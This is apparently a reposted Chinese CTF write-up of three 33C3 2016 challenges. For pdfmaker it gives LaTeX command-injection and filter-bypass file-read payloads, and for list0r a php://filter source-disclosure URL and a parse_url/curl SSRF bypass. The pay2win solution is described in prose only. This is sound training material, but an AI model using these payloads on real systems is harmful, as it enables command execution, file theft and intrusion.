前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >33c32016 writeup

33c32016 writeup

作者头像
LoRexxar
发布2023-02-21 15:17:52
3390
发布2023-02-21 15:17:52
举报
文章被收录于专栏:LoRexxar's BlogLoRexxar's Blog

16年的最后几天看了看33c3的题目…没想到的是这个比赛质量奇高,ctftime最后权重超过90,可惜期末了所以来不及好好打,还是挺可惜的….

pdfmaker

代码语言:javascript
复制
pdfmaker (75)

Solves: 133

Just a tiny application, that lets the user write some files and >compile them with pdflatex. What can possibly go wrong?

nc 78.46.224.91 24242

先贴一篇别人的博客 https://github.com/EdwardPwnden/ctf-2016/tree/master/33c3/pdfmaker

代码如下

代码语言:javascript
复制
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-

import signal
import sys
from random import randint
import os, pipes
from shutil import rmtree
from shutil import copyfile
import subprocess

class PdfMaker:

  def cmdparse(self, cmd):
    fct = {
      'help': self.helpmenu,
      '?': self.helpmenu,
      'create': self.create,
      'show': self.show,
      'compile': self.compilePDF,
      'flag': self.flag
    }.get(cmd, self.unknown)
    return fct

  def handle(self):
    self.initConnection()
    print " Welcome to p.d.f.maker! Send '?' or 'help' to get the help. Type 'exit' to disconnect."
    instruction_counter = 0
    while(instruction_counter < 77):
      try:
        cmd = (raw_input("> ")).strip().split()
        if len(cmd) < 1:
           continue
        if cmd[0] == "exit":
          self.endConnection()
          return
        print self.cmdparse(cmd[0])(cmd)
        instruction_counter += 1
      except Exception, e:
        print "An Exception occured: ", e.args
        self.endConnection()
        break
    print "Maximum number of instructions reached"
    self.endConnection()

  def initConnection(self):
    cwd = os.getcwd()
    self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    while os.path.exists(self.directory):
      self.directory = cwd + "/tmp/" + str(randint(0, 2**60))
    os.makedirs(self.directory)
    flag = self.directory + "/" + "33C3" + "%X" % randint(0, 2**31) +  "%X" % randint(0, 2**31)
    copyfile("flag", flag)


  def endConnection(self):
    if os.path.exists(self.directory):
      rmtree(self.directory)

  def unknown(self, cmd):
    return "Unknown Command! Type 'help' or '?' to get help!"

  def helpmenu(self, cmd):
    if len(cmd) < 2:
      return " Available commands: ?, help, create, show, compile.\n Type 'help COMMAND' to get information about the specific command."
    if (cmd[1] == "create"):
      return (" Create a file. Syntax: create TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)\n"
              " The created file will have the name NAME.TYPE")
    elif (cmd[1] == "show"):
      return (" Shows the content of a file. Syntax: show TYPE NAME\n"
              " TYPE: type of the file. Possible types are log, tex, sty, mp, bib\n"
              " NAME: name of the file (without type ending)")
    elif (cmd[1] == "compile"):
      return (" Compiles a tex file with the help of pdflatex. Syntax: compile NAME\n"
              " NAME: name of the file (without type ending)")

  def show(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help show' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    if full_filename.startswith(self.directory) and os.path.exists(full_filename):
      with open(full_filename, "r") as file:
        content = file.read()
    else:
      content = "File not found."
    return content

  def flag(self, cmd):
    pass

  def create(self, cmd):
    if len(cmd) < 3:
      return " Invalid number of parameters. Type 'help create' to get more info."
    if not cmd[1] in ["log", "tex", "sty", "mp", "bib"]:
      return " Invalid file ending. Only log, tex, sty and mp allowed"

    filename = cmd[2] + "." + cmd[1]
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)
    
    if not full_filename.startswith(self.directory):
      return "Could not create file."

    with open(full_filename, "w") as file:
      print "File created. Type the content now and finish it by sending a line containing only '\q'."
      while 1:
        text = raw_input("");
        if text.strip("\n") == "\q":
          break
        write_to_file = True;
        for filter_item in ("..", "*", "/", "\\x"):
          if filter_item in text:
            write_to_file = False
            break
        if (write_to_file):
          file.write(text + "\n")
    return "Written to " + filename + "."

  def compilePDF(self, cmd):
    if (len(cmd) < 2):
      return " Invalid number of parameters. Type 'help compile' to get more info."
    filename = cmd[1] + ".tex"
    full_filename = os.path.join(self.directory, filename)
    full_filename = os.path.abspath(full_filename)

    print full_filename
    if not full_filename.startswith(self.directory) or not os.path.exists(full_filename):
      return "Could not compile file."

    print pipes.quote(full_filename)
    compile_command = "cd " + self.directory + " && pdflatex " + pipes.quote(full_filename)
    compile_result = subprocess.check_output(compile_command, shell=True)
    return compile_result

def signal_handler_sigint(signal, frame):
  print 'Exiting...'
  pdfmaker.endConnection()
  sys.exit(0)

if __name__ == "__main__":
  signal.signal(signal.SIGINT, signal_handler_sigint)

  pdfmaker = PdfMaker()
  pdfmaker.handle()

稍微研究一下代码,可以发现几个功能 1、create可以创建log, tex, sty, mp, bib后缀的文件,并写入内容 2、内容会经过一次过滤"..", "*", "/", "\\x",这些内容都会被过滤掉 3、show方法可以显示后缀为log, tex, sty, mp, bib的内容 4、compile方法可以把tex后缀的文件编译为pdf,遵循的是pdflatex语法

具体语法可以看 http://theoval.cmp.uea.ac.uk/~nlct/latex/pdfdoc/pdfdoc/pdfdoc.html

命令执行读文件

事实上,latex语法中是可以执行shell命令的,具体可以看这篇文章

https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/

类似于这样\immediate\write18{ls>out.log},无奈的是,这个方法已经被禁用了

幸运的是,我们还可以创建md格式的create mp test

代码语言:javascript
复制
verbatimtex
\documentclass{minimal}
\begin{document}
etex
beginfig (1)
label(btex blah etex, origin);
endfig;
\end{document}
bye
\q

然后写入tex文件,编译执行命令,有个值得注意的是如果直接执行cat file > xxx.log并不会执行,其中空格必须使用${IFS}来替换,调用bash来执行命令,具体如下:

代码语言:javascript
复制
 create tex lol

\documentclass{article}
\begin{document}
\immediate\write18{mpost -ini \"-tex=bash -c (cat${IFS}$(find${IFS}.))>ls.log\" \"test.mp\"}
\end{document}
\q

接着编译,查看对应的log,就可以得到flag了

代码语言:javascript
复制
33C3_pdflatex_1s_t0t4lly_s3cur3!

读文件方式

除了编写md格式执行命令以外,事实上还有更多办法来读取文件获取flag,也许你觉得文件名未知,我们没办法来读取flag,但也许你忘记了../../flag这里还有一个flag。

核心问题在于如何绕过..的过滤

在pdflatex语法中,可以用^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67来代替../../flag,那么脚本如下

代码语言:javascript
复制
payload = """
\documentclass{article}
\\begin{document}
Hello world, this is \LaTeX
\\newwrite\outfile
\openout\outfile=out.log
\\newread\\file
\openin\\file=^^2e^^2e^^2f^^2e^^2e^^2f^^66^^6c^^61^^67
\\read\\file to\\fileline
\write\outfile{\\fileline}
\closein\\file
\closeout\outfile
\end{document}
\q
"""

编译读取既可

pay2win

代码语言:javascript
复制
pay2win – Web
Do you have enough money to buy the flag?

整个题目做起来很难受,做了感觉非常像是强行出题…

首先进去我们发现能够购买cheap和flag两个,需要输入一个合理的信用卡号,网上随便找一个信用卡就可以购买cheap,但购买flag时候,就会显示额度不够,然后,这时候理所当然的以为要找个额度大于20万的信用卡号,于是研究了一夜的信用卡种类…

但仔细想可以想到,主办方应该是没有办法判断信用卡的额度的,所以重新审视题目,我们发现如果购买成功的话,data的数据块会发生变化

image_1b5a4fdv5nso1euk4171vh61sk69.png-352.1kB
image_1b5a4fdv5nso1euk4171vh61sk69.png-352.1kB

我们发现按照刚好可以8bit一分,然后购买成功后,中间的部分会发生变化

反复修改可以找到所谓储存文件名的部分,修改那部分getflag。

list0r

ctftime上有2篇文章还是蛮不错的。

https://dollberg.xyz/ctf/2016/12/29/33C3-CTF-list0r/

https://github.com/p4-team/ctf/tree/master/2016-12-27-33c3/web_400_list0r

打开之后随便逛逛,就能发现所有页面是通过包含进来的,那么我们可以通过伪协议来读源码

代码语言:javascript
复制
http://78.46.224.80/?page=php://filter/read=convert.base64-encode/resource=profile

不得不说,这是个蛮大的站,零零散散功能非常多,但是,仔细观察发现一个比较弱的函数,在functions.php

代码语言:javascript
复制
function verify_password($username, $password) {
        global $redis;

        $user_id = $redis->hget("users", $username);
        if ($user_id) {
            $real_pass = $redis->hget("user:$user_id", "password");
            return $user_id;
        }
        return FALSE;
    }

我们能注意到,这里并没有验证密码,我们可以直接登陆admin用户,进入到用户后,我们发现list有几个提示

image_1b5f9kuqrqaqq4pdolislj9tm.png-43.2kB
image_1b5f9kuqrqaqq4pdolislj9tm.png-43.2kB

我们知道了flag的位置,直接访问我们发现

image_1b5f9mhh41hvf13b0jgq19sv14tc13.png-18.8kB
image_1b5f9mhh41hvf13b0jgq19sv14tc13.png-18.8kB

稍微试下发现这个东西是绕不过去的,所以找找别的东西吧

很快就能发现,这个头像处可以通过提交链接来得到内容,如果我们能绕过这里的话,我们可以成功的构造一个ssrf

image_1b5fa0r9f1tl385i1qc3nj6o2d1g.png-46.1kB
image_1b5fa0r9f1tl385i1qc3nj6o2d1g.png-46.1kB

看看代码

代码语言:javascript
复制
if (isset($_POST["pic"]) && $_POST["pic"] != "" && !is_admin()) {
    $pic = get_contents($_POST["pic"]);
    if (!is_image($pic)) {
        die("<p><h3 style=color:red>Does this look like an image to you???????? people are dumb these days...</h3></p>" . htmlspecialchars($pic));
    } else {
        $pic_name = "profiles/" . sha1(rand());
        file_put_contents($pic_name, $pic);
    }
}

有个比较关键的是get_content

代码语言:javascript
复制
function in_cidr($cidr, $ip) {
    list($prefix, $mask) = explode("/", $cidr);

    return 0 === (((ip2long($ip) ^ ip2long($prefix)) >> $mask) << $mask);
}

function get_contents($url) {
    $disallowed_cidrs = [ "127.0.0.1/24", "169.254.0.0/16", "0.0.0.0/8" ];

    do {
        $url_parts = parse_url($url);

        if (!array_key_exists("host", $url_parts)) {
            die("<p><h3 style=color:red>There was no host in your url!</h3></p>");
        }

        $host = $url_parts["host"];

        if (filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) {
            $ip = $host;
        } else {
            $ip = dns_get_record($host, DNS_A);
            if (count($ip) > 0) {
                $ip = $ip[0]["ip"];
                debug("Resolved to {$ip}");
            } else {
                die("<p><h3 style=color:red>Your host couldn't be resolved man...</h3></p>");
            }
        }

        foreach ($disallowed_cidrs as $cidr) {
            if (in_cidr($cidr, $ip)) {
                die("<p><h3 style=color:red>That IP is a blacklisted cidr ({$cidr})!</h3></p>");
            }
        }

        // all good, curl now
        debug("Curling {$url}");
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_MAXREDIRS, 0);
        curl_setopt($curl, CURLOPT_TIMEOUT, 3);
        curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_ALL 
            & ~CURLPROTO_FILE 
            & ~CURLPROTO_SCP); // no files plzzz
        curl_setopt($curl, CURLOPT_RESOLVE, array($host.":".$ip)); // no dns rebinding plzzz

        $data = curl_exec($curl);

        if (!$data) {
            die("<p><h3 style=color:red>something went wrong....</h3></p>");
        }

        if (curl_error($curl) && strpos(curl_error($curl), "timed out")) {
            die("<p><h3 style=color:red>Timeout!! thats a slowass  server</h3></p>");
        }

        // check for redirects
        $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
        if ($status >= 301 and $status <= 308) {
            $url = curl_getinfo($curl, CURLINFO_REDIRECT_URL);
        } else {
            return $data;
        }

    } while (1);
}

仔细看,我们很容易发现,其实存在一些问题,如果获取的内容不是图片,则会显示出来,那么看来,这就是官方留给我们获取flag的方式,那么问题就在于怎么绕过get_content的验证了。

我们发现,貌似是拦截了任何请求本地的方式,但是ip的验证是通过parse_url来判断的,请求是通过curl完成的。

这里提到了2种方式来解决,首先是第一种,通过提供用户名密码的绕过方式,payload:

代码语言:javascript
复制
http://what:ever@127.0.0.1:80@33c3ctf.ccc.ac/reeeaally/reallyy/c00l/and_aw3sme_flag

php 将会这么解析

array (
  'scheme' => 'http',
  'host' => '33c3ctf.ccc.ac',
  'user' => 'what',
  'pass' => 'ever@127.0.0.1:80',
  'path' => '/reeeaally/reallyy/c00l/and_aw3sme_flag',
)

但是在curl看来并不是这样的,链接会被解析为,what是用户名,ever是密码,host为127….

所以我们获取得了flag

还有一种看上去是通过所谓的负载均衡的实现的,但具体不是很清楚,不知道怎么实验一下

image_1b5fb5vmq16toguhf5c1t1m1g121t.png-12.4kB
image_1b5fb5vmq16toguhf5c1t1m1g121t.png-12.4kB
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017/01/03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • pdfmaker
    • 命令执行读文件
      • 读文件方式
      • pay2win
      • list0r
      相关产品与服务
      负载均衡
      负载均衡(Cloud Load Balancer,CLB)提供安全快捷的流量分发服务,访问流量经由 CLB 可以自动分配到云中的多台后端服务器上,扩展系统的服务能力并消除单点故障。负载均衡支持亿级连接和千万级并发,可轻松应对大流量访问,满足业务需求。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档